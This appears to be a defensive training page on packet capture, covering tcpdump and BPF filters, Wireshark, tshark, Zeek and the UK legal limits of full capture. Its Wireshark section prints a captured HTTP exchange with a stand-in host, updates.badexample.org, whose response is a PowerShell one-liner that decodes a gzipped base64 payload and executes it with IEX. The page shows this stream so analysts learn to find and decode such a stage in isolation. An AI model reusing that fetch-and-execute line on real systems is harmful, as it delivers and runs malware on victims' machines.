Packet capture basics
Capturing and reading packets for investigations: tcpdump and BPF capture filters, Wireshark display filters, following streams and exporting objects, tshark for bulk extraction, Zeek for turning a pcap into logs, and the legal and practical limits of full capture.
01When packets beat logs
- Capture with tcpdump and the right BPF filter, without filling the disk
- Use Wireshark display filters, follow streams and export objects
- Pull fields at scale with tshark and turn a pcap into Zeek logs
- Know what encryption, storage and privacy law let you see and keep
Logs are summaries someone decided to write. A packet capture (pcap) is the traffic itself: every header and, unless encrypted, every byte of payload. You reach for it when the logs cannot answer the question: what exactly did the C2 server send, which file left in that upload, did the exploit payload reach the server.
| Source | Gives you | Costs |
|---|---|---|
| Flow (NetFlow, IPFIX, VPC Flow Logs) | 5-tuple, bytes, packets, times | Tiny; no content at all |
| Zeek / Suricata logs | Parsed protocol fields: DNS names, HTTP paths, TLS SNI and certificates, file hashes | Moderate; content summarised |
| Full pcap | Everything on the wire | Large: a busy 1 Gbit/s link can produce several terabytes a day; usually kept hours to days |
Most traffic is TLS. Without the keys you see the handshake (SNI, the certificate in TLS 1.2, the JA4 fingerprint), sizes and timing, not the content. In a lab, Wireshark can decrypt traffic if the client wrote its session keys to a file named by the SSLKEYLOGFILE environment variable; in production, content visibility needs a decrypting proxy.
02Capturing with tcpdump and BPF
tcpdump captures packets using a BPF capture filter, applied in the kernel, so unwanted packets are never copied. Capture filters use a different syntax from Wireshark display filters; mixing them up is the most common beginner error.
# Capture traffic to and from one suspect host, full packets, into rotating files
sudo tcpdump -i eth0 -nn -s 0 -w /data/cap/ws0417-%Y%m%d%H%M.pcap -G 3600 -C 500 'host 10.20.8.31'
# Only DNS, or only SYN packets (connection attempts)
sudo tcpdump -i eth0 -nn 'udp port 53 or tcp port 53'
sudo tcpdump -i eth0 -nn 'tcp[tcpflags] & (tcp-syn|tcp-ack) == tcp-syn'
# Exclude your own SSH session so you do not capture yourself
sudo tcpdump -i eth0 -nn -w out.pcap 'not (tcp port 22 and host 10.20.0.5)'
# Read a capture back
tcpdump -nn -r out.pcap 'tcp port 80' | head| Task | BPF capture filter (tcpdump) | Wireshark display filter |
|---|---|---|
| One host | host 10.20.8.31 | ip.addr == 10.20.8.31 |
| One port | port 445 | tcp.port == 445 |
| DNS | port 53 | dns |
| HTTP requests | tcp port 80 | http.request |
| SYN only | tcp[tcpflags] & (tcp-syn|tcp-ack) == tcp-syn | tcp.flags.syn == 1 && tcp.flags.ack == 0 |
| TLS ClientHello to a name | not practical in BPF | tls.handshake.extensions_server_name contains "badexample" |
A capture on a laptop sees only that laptop. On a switch you need a SPAN (mirror) port or a network TAP. Captures taken outside a NAT gateway show the gateway's address, and captures on a busy link drop packets silently if the disk or CPU cannot keep up; tcpdump reports packets dropped by kernel when it exits.
03Reading a capture in Wireshark
Open the capture and orient before you filter. Statistics, Protocol Hierarchy shows what protocols are present. Statistics, Conversations shows who talked to whom and how much, sorted by bytes. Statistics, Endpoints lists every address. Then filter down to the conversation that matters.
- Filter on the suspect host and sort Conversations by bytes: the big outbound one is the first lead.
- Filter
dnsto see what names the host resolved and what came back. - Right-click a TCP packet and choose Follow, TCP Stream to read the whole exchange as text (client in one colour, server in the other).
- Use File, Export Objects, HTTP (or SMB) to save files transferred in clear, then hash them without opening them.
- Set View, Time Display Format to UTC date and time before noting anything for the timeline.
GET /a/ps.txt HTTP/1.1
Host: updates.badexample.org
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.4648
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx
Content-Type: text/plain
Content-Length: 4096
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sIAAAAAAAA/6VWbW/aSBD+..."));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()Following the stream gives you what no log had: the second-stage script itself. Decode it in an isolated environment (CyberChef's From Base64 then Gunzip recipe), never by running it. The decoded script will usually contain the next C2 address, which goes straight back into your DNS and proxy hunts.
| Useful display filter | Finds |
|---|---|
http.request.method == "POST" | Uploads and check-ins |
dns.flags.rcode == 3 | NXDOMAIN responses (DGA candidates) |
tcp.analysis.retransmission | Network problems that can explain gaps |
frame contains "MZ" (rough) | Possible Windows executables in clear text transfers |
smb2.cmd == 5 && smb2.filename contains ".exe" | SMB2 Create requests for executables (lateral tool transfer) |
04tshark and Zeek for bulk work
Wireshark is for reading. For a multi-gigabyte capture, extract fields with tshark (Wireshark's command-line twin) or convert the whole capture to logs with Zeek and query those.
# Every DNS query name and answer from a capture, as tab-separated fields
tshark -r case.pcap -Y 'dns.flags.response == 1' -T fields -e frame.time_epoch -e ip.dst -e dns.qry.name -e dns.a
# TLS server names the suspect host asked for
tshark -r case.pcap -Y 'ip.src == 10.20.8.31 && tls.handshake.type == 1' -T fields -e tls.handshake.extensions_server_name | sort | uniq -c | sort -rn
# Turn the capture into Zeek logs, then summarise connections by bytes sent
zeek -C -r case.pcap
zeek-cut id.orig_h id.resp_h id.resp_p orig_bytes < conn.log | sort -k4 -nr | headZeek writes conn.log, dns.log, http.log, ssl.log, files.log and more, linked by a connection uid. That turns a pcap into the same kind of data you query in the SIEM, which is why many teams keep Zeek logs for months and full pcap for only days. -C tells Zeek to ignore checksum errors, which are common in captures taken on the sending host because of checksum offload.
05Legal, privacy and practical limits
Full packet capture records personal data and private communications. In the UK, interception on your own network for security is governed by the Investigatory Powers Act 2016 and the Investigatory Powers (Interception by Businesses etc. for Monitoring and Record-keeping Purposes) Regulations 2018, and the content is personal data under UK GDPR. Other jurisdictions have their own equivalents. In practice: capture under a written policy, as narrowly as the question allows, keep it for a defined period, and restrict who can read it.
- Prefer a targeted capture (one host, one port, a few hours) to a blanket one when you are answering a specific question.
- Record the chain of custody if the capture might be evidence: who captured it, hashes, where it was stored.
- Never upload a production pcap to a public analysis site; it contains credentials, cookies and personal data.
You want only DNS traffic from host 10.20.8.31 while capturing with tcpdump. Which filter is correct?
"I use flow and Zeek logs to find the conversation, then pcap to read it. I capture narrowly with a BPF filter, hash the file, orient with Conversations and Protocol Hierarchy, follow the stream, export objects to hash rather than open, and note frame numbers and UTC times for every finding."
Common screen questions: the difference between capture and display filters, how you would find the largest outbound conversation in a pcap, and what you can learn from TLS traffic without decrypting it (SNI, the certificate in TLS 1.2, JA4, sizes, timing).
Q1What is a TAP and why prefer it to a SPAN port?+
A TAP copies traffic passively in hardware and does not drop packets under load; a SPAN port is a switch feature that can drop mirrored traffic when oversubscribed and may omit errors.
Q2How do you find beacons in a pcap?+
Load it into Zeek, then look at conn.log for one source to one destination with regular intervals and similar sizes, or use Wireshark's IO Graph filtered to that destination.
Q3Can you see HTTP/2 or QUIC in Wireshark?+
Yes, Wireshark dissects both, but QUIC is encrypted including most headers, so without keys you see little beyond the initial handshake fields and timing.